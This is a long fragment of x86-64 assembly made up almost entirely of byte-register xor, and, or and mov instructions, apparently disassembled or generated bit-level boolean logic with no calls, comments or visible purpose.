mov r10d, r11d
xor r10b, 1
mov ebx, r11d
and bl, r10b
mov ecx, r9d
and cl, sil
xor bl, 1
mov edi, r10d
xor dil, bl
or bl, r10b
xor bl, 1
or bl, dil
xor cl, 1
mov r10d, esi
xor r10b, cl
or cl, sil
xor cl, 1
or cl, r10b
xor cl, bl
xor cl, 1
mov ebx, r11d
and bl, r9b
xor r11b, r9b
or r11b, bl
mov ebx, ecx
xor bl, r11b
or r11b, cl
xor r11b, 1
or r11b, bl
mov ecx, r8d
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, cl
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
xor bl, r11b
xor bl, 1
and r8b, sil
or sil, dl
and r9b, dl
or r9b, r8b
mov ecx, esi
xor cl, r9b
xor r9b, 1
xor cl, 1
or r9b, sil
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, 1
mov edx, r9d
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
mov ecx, ebx
and cl, r9b
xor r9b, bl
or r9b, cl
xor r9b, 1
mov ecx, edx
and cl, r9b
xor r9b, dl
or r9b, cl
mov r14d, r9d
xor r14b, 1
mov r10d, r9d
or r10b, r14b
mov r13d, r10d
xor r13b, 1
mov r11d, r9d
or r11b, r10b
xor r11b, 1
mov esi, r13d
and sil, r9b
mov ebp, r14d
and bpl, r9b
mov eax, r14d
xor al, bpl
mov byte [rsp + 0x38], al
mov edi, r14d
xor dil, r9b
or dil, bpl
mov ebx, r10d
and bl, r13b
mov r12d, ebp
xor r12b, 1
xor r9b, bpl
or r12b, r14b
mov r15d, r14d
xor r15b, r13b
or r13b, r14b
and bpl, r14b
and r14b, r10b
or r14b, sil
mov ecx, r11d
and cl, r14b
xor r14b, r11b
or r14b, cl
mov r11d, r14d
xor r11b, 1
mov edx, edi
xor dl, 1
mov ecx, edx
and cl, dil
xor dl, cl
xor cl, 1
or cl, dil
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov esi, r14d
and sil, r11b
mov edi, r14d
and dil, sil
xor sil, r14b
or r14b, r11b
mov eax, r14d
xor al, 1
and al, r14b
mov r8d, r14d
and r8b, al
xor al, r14b
or al, r8b
xor al, r11b
mov r8d, r14d
and r8b, r11b
xor r14b, r11b
or r14b, r8b
mov r8d, eax
xor r8b, 1
xor al, r14b
or r14b, r8b
mov r8d, edx
or r8b, cl
xor al, 1
xor r14b, 1
or r14b, al
mov eax, r8d
xor al, 1
or sil, dil
xor sil, cl
and cl, r8b
or r8b, dl
and al, dl
or al, cl
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, r14b
xor r14b, 1
or r14b, al
mov eax, ecx
xor al, r14b
or r14b, cl
xor r14b, 1
or r14b, al
mov eax, r11d
xor al, dl
or dl, r11b
xor dl, 1
or dl, al
xor dl, 1
mov eax, esi
and al, dl
xor dl, sil
or dl, al
xor dl, 1
mov eax, r14d
xor al, 1
mov ecx, eax
and cl, r14b
xor al, cl
xor cl, 1
or cl, r14b
xor cl, 1
or cl, al
xor cl, dl
xor cl, 1
mov eax, r14d
xor al, dl
or dl, r14b
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, r8d
or cl, dl
mov r11d, ecx
xor r11b, 1
mov eax, edx
xor al, cl
and al, dl
and r11b, r8b
and cl, dl
or cl, r11b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, r8d
and dl, al
mov r11d, edx
and r11b, r8b
xor dl, r8b
or dl, r11b
xor dl, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov esi, edx
and sil, cl
xor dl, sil
xor sil, 1
or sil, cl
xor sil, 1
or sil, dl
mov r11d, esi
xor r11b, 1
xor r12b, 1
or r12b, r9b
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
xor bl, r12b
xor r13b, 1
or r13b, r15b
xor r13b, 1
mov ecx, ebx
and cl, r13b
xor r13b, bl
or r13b, cl
mov ebx, r13d
xor bl, 1
or bpl, byte [rsp + 0x38]
mov edx, ebp
xor dl, 1
and bpl, r13b
and bl, dl
or bl, bpl
mov ecx, r13d
and cl, dl
xor dl, r13b
or dl, cl
mov ecx, ebx
xor cl, dl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov r9d, ebx
xor r9b, 1
mov edx, esi
xor dl, r9b
mov ecx, r9d
or cl, sil
xor cl, 1
xor dl, 1
and dl, sil
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov r8d, edx
xor r8b, 1
and dl, sil
and sil, r11b
mov ecx, r11d
and cl, sil
xor sil, r11b
and r11b, r8b
or dl, r11b
xor r8b, dl
and r8b, dl
or sil, cl
mov r11d, esi
xor r11b, 1
mov ecx, ebx
and cl, r9b
mov r10d, ebx
xor r10b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r10b
or r9b, bl
xor r9b, cl
mov eax, esi
and al, r11b
mov ebx, eax
and bl, sil
xor al, sil
or al, bl
xor al, 1
or r11b, sil
mov ebx, eax
xor bl, r11b
or r11b, al
xor r11b, 1
or r11b, bl
and cl, r9b
mov eax, ecx
xor al, r9b
xor cl, 1
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov edx, r11d
xor dl, cl
or cl, r11b
xor dl, 1
and dl, r11b
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
mov ebx, r8d
and bl, dl
or al, r8b
xor dl, r8b
and dl, r8b
xor r8b, 1
and cl, r8b
or bl, cl
xor bl, 1
or bl, r8b
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
and dl, bl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, dl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
mov r10d, r8d
and r10b, al
mov edx, r10d
xor dl, 1
mov r9d, eax
and r9b, dl
mov ecx, r10d
and cl, r8b
or cl, r9b
mov r9d, r10d
xor r9b, al
mov ebx, r10d
or bl, al
xor bl, 1
or bl, r9b
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
mov ebx, ecx
xor bl, 1
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
mov r9d, ecx
xor r9b, 1
xor r10b, r8b
or dl, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, 1
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
and cl, bl
and bl, al
mov edx, eax
and dl, bl
xor bl, al
and al, r9b
or cl, al
xor cl, 1
or cl, r9b
xor cl, 1
or bl, dl
xor bl, r9b
xor bl, cl
mov edx, ebx
xor dl, 1
and dl, cl
mov eax, edx
and al, bl
xor dl, bl
or dl, al
mov ecx, edx
xor cl, 1
and dl, cl
mov r9d, edx
xor r9b, 1
mov eax, r9d
and al, dl
mov r8d, r9d
xor r8b, al
xor al, 1
or al, dl
xor al, 1
or al, r8b
xor al, cl
mov edx, r9d
and dl, cl
xor r9b, cl
or r9b, dl
xor r9b, 1
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, 1
mov ebx, r9d
or bl, al
mov edx, ebx
xor dl, 1
mov r10d, r9d
and r10b, al
and bl, dl
mov r8d, r9d
and r8b, r10b
xor r10b, r9b
or r10b, r8b
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, r10b
xor bl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
mov r11d, edx
xor r11b, 1
and r11b, dl
xor r11b, 1
mov r8d, edx
xor r8b, r11b
or r11b, dl
xor r11b, 1
or r11b, r8b
mov r8d, r11d
xor r8b, 1
xor r10b, 1
xor al, r10b
xor al, 1
or r10b, r9b
xor r10b, 1
or r10b, al
mov edi, r10d
xor dil, 1
mov ecx, r10d
and cl, dil
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov r9d, ecx
xor r9b, 1
mov ebx, r11d
or bl, r8b
xor bl, r11b
mov esi, ebx
xor sil, 1
mov eax, ecx
xor al, r9b
and al, cl
or dil, r10b
and bl, r11b
mov r10d, ebx
and r10b, sil
xor bl, sil
or bl, r10b
xor al, 1
mov edx, eax
or dl, dil
xor dl, 1
xor al, dil
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
xor al, bl
or r9b, r8b
xor cl, r11b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
xor cl, al
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, eax
or r8b, bl
xor bl, al
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov r9d, ecx
xor r9b, 1
and bl, al
mov edx, ebx
and bl, r8b
xor r8b, 1
xor dl, 1
mov eax, r8d
xor al, dl
and al, r8b
and dl, r8b
or dl, bl
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov r8d, r9d
and cl, r9b
mov r10d, r9d
and r10b, cl
xor cl, r9b
and r9b, bl
xor r8b, bl
or r8b, r9b
mov r9d, r8d
xor r9b, 1
mov eax, ebx
and al, dl
or cl, r10b
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and r9b, al
xor al, 1
and al, r8b
or al, r9b
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, eax
or cl, dl
mov ebx, edx
xor bl, cl
or cl, al
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov ebx, r8d
or bl, cl
xor r8b, bl
xor r8b, 1
or bl, cl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
mov ecx, r8d
and cl, bl
xor r8b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
mov ebx, r8d
xor bl, dl
or dl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
or dl, al
and cl, dl
xor dl, 1
mov eax, edx
xor al, bl
and al, dl
and dl, bl
or dl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r9d, edx
xor r9b, 1
mov r10d, edx
and r10b, r9b
mov ecx, r10d
xor cl, 1
mov r8d, edx
xor r8b, cl
mov ebx, edx
or bl, cl
xor bl, 1
or bl, r8b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov ebx, eax
xor bl, r9b
xor r10b, dl
or cl, r9b
xor cl, 1
or cl, r10b
xor cl, al
xor bl, 1
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r14d, ecx
xor r14b, 1
mov eax, r14d
and al, cl
mov edx, r14d
and dl, al
xor al, r14b
or al, dl
xor al, 1
or r14b, cl
mov ecx, eax
or cl, r14b
xor cl, 1
xor r14b, al
mov eax, ecx
and al, r14b
xor r14b, cl
or r14b, al
mov r15d, r14d
xor r15b, 1
movzx edx, byte [rsp + 0x34]
mov edi, edx
xor dil, 1
mov eax, edi
and al, dl
mov ecx, edi
and cl, al
xor al, dil
or al, cl
mov r12d, edx
or r12b, dil
mov ecx, eax
xor cl, r12b
and al, cl
mov ebx, eax
xor bl, cl
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, ecx
and bl, r8b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r9d, ebx
xor r9b, 1
mov eax, ebx
or al, r9b
and r8b, al
xor al, 1
mov r10d, edx
xor r10b, dil
and r10b, dl
mov r11d, r10d
xor r11b, 1
mov esi, r11d
or sil, r10b
xor r10b, sil
mov ebp, eax
xor bpl, cl
and bpl, al
and al, cl
or al, r8b
mov ecx, ebp
xor cl, 1
xor bpl, al
xor al, 1
or al, cl
xor al, 1
or al, bpl
xor r10b, 1
or sil, r11b
xor sil, 1
or sil, r10b
xor sil, 1
mov ecx, eax
xor cl, sil
or sil, al
xor cl, 1
and cl, al
mov eax, esi
xor al, cl
xor cl, 1
xor al, 1
or cl, sil
xor cl, 1
or cl, al
and r9b, bl
xor r9b, 1
mov eax, ebx
xor al, r9b
or r9b, bl
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and al, dl
and r9b, dil
or r9b, al
mov eax, ebx
xor al, dil
or bl, dil
xor bl, 1
or bl, al
xor bl, 1
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ecx
xor al, bl
xor cl, 1
or cl, bl
xor cl, 1
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov r8d, eax
or r8b, bl
mov r9d, r8d
xor r9b, 1
mov ecx, ebx
xor cl, r8b
and cl, bl
and r9b, al
and r8b, bl
or r8b, r9b
xor cl, 1
xor r8b, 1
mov eax, ecx
xor al, r8b
or r8b, cl
xor r8b, 1
or r8b, al
mov ebp, r15d
and bpl, r14b
mov eax, ebp
xor al, 1
mov ebx, r14d
xor bl, al
or al, r14b
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov ebx, r14d
or bl, r15b
mov byte [rsp + 0x33], bl
mov esi, ebx
xor sil, 1
mov ecx, ebx
and cl, sil
mov byte [rsp + 0x38], cl
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
mov r10d, ebx
and r10b, al
xor bl, 1
and bl, r9b
or bl, r10b
mov r9d, eax
xor r9b, sil
or al, sil
xor al, 1
or al, r9b
xor bl, 1
mov r9d, ebx
xor r9b, al
or bl, al
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov r11d, ecx
xor r11b, 1
mov ebx, r11d
and bl, cl
mov r9d, r11d
and r9b, bl
xor bl, r11b
or bl, r9b
or r11b, cl
mov ecx, ebx
xor cl, r11b
or r11b, bl
xor r11b, 1
or r11b, cl
mov byte [rsp + 0x44], r15b
mov ecx, r15d
and cl, bpl
xor bpl, r15b
or bpl, cl
mov ecx, ebp
xor cl, 1
and cl, bpl
xor cl, 1
mov ebx, ebp
xor bl, cl
or cl, bpl
xor cl, 1
or cl, bl
mov ebx, ecx
and bl, bpl
xor cl, bpl
or cl, bl
xor cl, r11b
mov r10d, ecx
xor r10b, 1
xor r11b, r10b
and r11b, r10b
mov r9d, r11d
xor r9b, 1
mov ebp, r9d
and bpl, r11b
mov ebx, r10d
and bl, cl
xor r9b, bpl
xor bpl, 1
or bpl, r11b
xor bpl, 1
or bpl, r9b
xor r10b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r10b
xor bl, bpl
mov r9d, ebx
xor r9b, 1
mov r10d, r11d
xor r10b, cl
or r11b, cl
xor r11b, 1
or r11b, r10b
xor bl, r11b
xor bl, 1
or r11b, r9b
xor r11b, 1
or r11b, bl
mov ebx, r8d
xor bl, 1
mov ecx, r8d
or cl, bl
mov r13d, ecx
xor r13b, 1
mov r15d, ecx
and r15b, r13b
mov edx, ecx
mov r10d, ecx
xor dl, r15b
xor r15b, 1
or r15b, r13b
xor r15b, 1
or r15b, dl
mov ecx, r15d
xor cl, 1
and cl, bl
and r15b, r8b
or r15b, cl
mov r9d, r13d
mov ecx, r10d
or cl, bl
mov byte [rsp + 0x40], cl
xor r10b, bl
mov byte [rsp + 0x54], r10b
xor bl, r8b
or bl, r13b
mov byte [rsp + 0x5c], bl
xor r13b, r8b
or r9b, r8b
xor r9b, 1
or r9b, r13b
xor r9b, 1
mov ebx, r15d
and bl, r9b
xor r9b, r15b
or r9b, bl
mov r8d, r9d
xor r8b, 1
mov ecx, r9d
and cl, r8b
mov ebx, r9d
and bl, cl
mov r15d, r9d
xor r15b, cl
or bl, r15b
xor bl, 1
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r15b
xor cl, bl
xor cl, 1
mov r8d, r9d
and r8b, bl
xor bl, r9b
or bl, r8b
mov r8d, ecx
xor r8b, bl
or bl, cl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
mov r10d, r8d
and r10b, bl
xor r8b, r10b
xor r10b, 1
or r10b, bl
xor r10b, 1
or r10b, r8b
movzx ecx, byte [rsp + 0x34]
mov r8d, ecx
and r8b, r12b
xor r12b, 1
mov ebx, r12d
xor bl, dil
and bl, r12b
and r12b, dil
or r12b, r8b
xor bl, 1
xor r12b, 1
mov r8d, ebx
xor r8b, r12b
or r12b, bl
xor r12b, 1
or r12b, r8b
or cl, r12b
xor dil, r12b
and dil, r12b
xor r12b, 1
xor cl, 1
mov ebx, ecx
and bl, dil
xor dil, cl
or dil, bl
xor dil, 1
mov ebx, edi
and bl, r12b
xor dil, r12b
or dil, bl
mov ebp, edi
mov ecx, r11d
xor cl, 1
mov edx, r11d
and dl, cl
mov byte [rsp + 0x34], dl
mov r9d, edx
xor r9b, 1
mov ebx, r11d
xor bl, r9b
or r9b, r11b
xor r9b, 1
or r9b, bl
mov ebx, r11d
or bl, cl
xor bl, r9b
and r9b, bl
mov r8d, r9d
xor r8b, bl
xor r9b, 1
xor r8b, 1
or r9b, bl
xor r9b, 1
or r9b, r8b
mov r15d, r9d
xor r15b, cl
mov r8d, ecx
and r8b, dl
mov r12d, ecx
xor r12b, dl
or r12b, r8b
mov edx, r12d
xor dl, 1
and dl, r12b
mov ebx, edx
xor bl, 1
mov eax, r11d
and al, bl
mov byte [rsp + 0x3f], al
or bl, cl
mov byte [rsp + 0x32], bl
and dl, cl
mov byte [rsp + 0x58], dl
xor cl, r11b
mov byte [rsp + 0x50], cl
or r11b, r9b
xor r11b, 1
and r15b, r9b
mov ecx, r11d
and cl, r15b
xor r15b, r11b
or r15b, cl
xor r9b, r15b
xor r9b, 1
xor r15b, r9b
xor r15b, 1
and r15b, r9b
movzx ecx, byte [rsp + 0x38]
mov eax, ecx
xor al, 1
xor cl, sil
movzx ebx, byte [rsp + 0x33]
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, r14b
movzx edx, byte [rsp + 0x44]
and al, dl
or al, cl
mov edi, r10d
xor dil, 1
xor bl, dl
or sil, r14b
xor sil, 1
or sil, bl
mov ecx, eax
xor cl, sil
xor al, 1
or al, sil
mov r11d, ebp
xor r11b, 1
xor cl, 1
xor al, 1
or al, cl
and dl, al
xor al, 1
mov ecx, eax
xor cl, r14b
and cl, al
and al, r14b
or al, dl
xor cl, 1
xor al, 1
mov esi, ecx
xor sil, al
or al, cl
xor al, 1
or al, sil
mov ecx, eax
xor cl, 1
and al, cl
mov esi, ecx
and sil, al
xor al, cl
or al, sil
mov ecx, ebp
and cl, r11b
mov esi, ebp
and sil, cl
xor cl, bpl
or cl, sil
mov esi, ecx
xor sil, 1
and cl, sil
mov r14d, esi
and r14b, cl
xor cl, sil
or cl, r14b
mov r14d, r10d
and r14b, dil
mov edx, r10d
and dl, r14b
mov r9d, r14d
xor r9b, r10b
or dl, r9b
xor cl, dl
mov edx, r10d
and dl, sil
xor sil, r10b
or sil, dl
xor sil, 1
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov ecx, r11d
xor cl, bpl
or bpl, r11b
and cl, r11b
mov edx, r14d
xor dl, 1
mov r11d, r14d
and r11b, dl
mov r8d, r11d
and r8b, r14b
xor r11b, r14b
or r11b, r8b
or dl, dil
xor dl, 1
or dl, r9b
xor dl, r11b
or r14b, r10b
mov r11d, eax
xor r11b, 1
xor r14b, 1
or r14b, r9b
mov r8d, edx
xor r8b, r14b
xor dl, 1
or dl, r14b
mov r9d, ecx
and cl, bpl
mov r10d, ebp
xor r10b, 1
xor r8b, 1
xor dl, 1
or dl, r8b
xor r9b, 1
mov r8d, r10d
xor r8b, r9b
and r8b, r10b
and r9b, r10b
or r9b, cl
mov ecx, r8d
and cl, r9b
xor r9b, r8b
or r9b, cl
mov r8d, r9d
xor r8b, 1
mov r10d, r9d
and r10b, r8b
mov ecx, r10d
xor r10b, r9b
mov r9d, esi
xor r9b, 1
xor cl, 1
or cl, r8b
mov r8d, edx
xor r8b, 1
xor cl, 1
or cl, r10b
and r8b, cl
xor cl, 1
and cl, dl
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov r10d, r9d
xor r10b, cl
mov edi, r9d
or dil, cl
xor dil, 1
or dil, r10b
and r8b, cl
xor r8b, 1
mov r10d, ecx
xor r10b, r8b
or r8b, cl
mov ecx, edi
xor cl, 1
xor r8b, 1
or r8b, r10b
and r9b, r8b
xor r8b, 1
and r8b, sil
or r8b, r9b
mov edx, edi
and dl, cl
mov r9d, edi
and r9b, dl
xor dl, dil
or dl, r9b
xor dl, r8b
mov r9d, ecx
xor r9b, r8b
or r8b, cl
xor r8b, 1
or r8b, r9b
mov ecx, edx
xor cl, r8b
or r8b, dl
xor r8b, 1
or r8b, cl
mov r9d, r15d
xor r9b, 1
mov r10d, r9d
xor r10b, al
mov edx, r10d
and dl, r9b
mov ecx, edx
xor cl, r10b
xor dl, 1
xor cl, 1
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
mov r10d, edx
xor r10b, 1
mov ecx, r9d
and cl, r15b
mov esi, r9d
xor sil, cl
xor cl, 1
or cl, r15b
xor cl, 1
or cl, sil
mov esi, eax
xor sil, cl
or cl, al
xor cl, 1
or cl, sil
and al, r9b
and r11b, r15b
or r11b, al
xor r11b, 1
or r11b, r9b
mov eax, r11d
xor al, 1
and al, cl
xor cl, 1
mov ebx, ecx
xor bl, r11b
and bl, cl
and r11b, cl
or r11b, al
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
and dl, r10b
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov r9d, edx
xor r9b, 1
mov ebx, r11d
xor bl, 1
mov r10d, ebx
and r10b, r11b
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, r10d
xor al, 1
or bl, r11b
xor bl, r10b
mov ecx, ebx
and cl, r10b
mov r11d, ecx
xor r11b, bl
xor cl, 1
xor r11b, 1
or cl, bl
xor cl, 1
or cl, r11b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor bl, 1
and bl, dl
xor bl, 1
mov r11d, ecx
xor r11b, bl
or bl, cl
xor bl, 1
or bl, r11b
mov r11d, edx
and r11b, r9b
mov ecx, r10d
and cl, al
mov esi, r11d
and sil, dl
xor r11b, dl
or r11b, sil
mov edx, ecx
and dl, r10b
xor cl, r10b
or cl, dl
mov edx, r11d
xor dl, 1
and dl, cl
xor cl, 1
and cl, r11b
or cl, dl
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov esi, ebx
xor sil, al
or al, bl
xor al, 1
or al, sil
xor sil, 1
mov ecx, esi
xor cl, al
or sil, al
xor sil, 1
or sil, cl
mov eax, r8d
xor al, 1
mov r14d, r8d
or r14b, al
xor r14b, al
mov ebx, r14d
and bl, al
xor r14b, 1
mov r9d, ebx
and r9b, r14b
xor r14b, bl
or r14b, r9b
mov r9d, r14d
xor r9b, 1
mov ebx, eax
and bl, r8b
mov r10d, eax
xor r10b, bl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, r10b
xor al, bl
xor al, 1
or bl, r8b
xor bl, 1
or bl, al
mov r13d, ebx
xor r13b, 1
mov eax, esi
xor al, 1
mov edx, esi
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
and al, cl
xor cl, 1
and cl, sil
or cl, al
mov eax, esi
and al, dl
xor dl, sil
or dl, al
mov eax, ecx
xor al, dl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov ebp, ecx
and bpl, al
xor cl, bpl
xor bpl, 1
or bpl, al
xor bpl, 1
or bpl, cl
mov esi, r14d
and sil, r9b
mov eax, esi
xor al, 1
mov r11d, r14d
or r11b, al
or al, r9b
xor r9b, sil
xor r11b, 1
or r11b, r9b
mov r12d, r13d
and r12b, bl
mov edx, r12d
xor dl, 1
mov r9d, r13d
xor r9b, dl
mov ecx, r13d
or cl, dl
xor cl, 1
or cl, r9b
mov r9d, r11d
xor r9b, 1
mov r10d, r11d
or r10b, r9b
mov r8d, r10d
xor r8b, 1
mov edi, r8d
and dil, r10b
xor dil, 1
mov r15d, edi
xor r15b, r10b
or dil, r10b
xor dil, 1
or dil, r15b
xor sil, r14b
xor al, 1
or al, sil
xor al, dil
mov r10d, r8d
xor r10b, r14b
or r8b, r14b
xor r8b, 1
or r8b, r10b
mov r10d, eax
xor r10b, r8b
xor al, 1
or al, r8b
xor r10b, 1
xor al, 1
or al, r10b
or dl, bl
mov r8d, ecx
xor r8b, 1
or r8b, cl
xor r12b, r13b
xor dl, 1
or dl, r12b
mov ebx, r8d
xor bl, 1
and r8b, dl
xor dl, 1
and dl, bl
or dl, r8b
mov r8d, ebx
xor r8b, r13b
or bl, r13b
xor bl, 1
or bl, r8b
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
mov r10d, ebp
xor r10b, 1
or bl, r8b
mov edx, ebx
xor dl, 1
or dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
and r9b, r11b
mov edx, r9d
and dl, r11b
xor r9b, r11b
or r9b, dl
xor r9b, cl
xor r9b, 1
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, eax
xor dl, cl
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, ebp
or cl, r10b
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, r10b
mov ebx, r10d
xor bl, dl
or dl, r10b
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, ebp
and cl, r10b
xor r10b, bpl
or r10b, cl
mov ebx, r10d
xor bl, 1
mov ecx, ebx
and cl, r10b
xor bl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, bl
xor cl, dl
mov r9d, ecx
xor r9b, 1
and r9b, dl
mov edx, r9d
and dl, cl
xor r9b, cl
or r9b, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ebx, edx
xor bl, 1
and bl, dl
xor cl, al
and cl, al
xor cl, bl
mov eax, ecx
xor al, 1
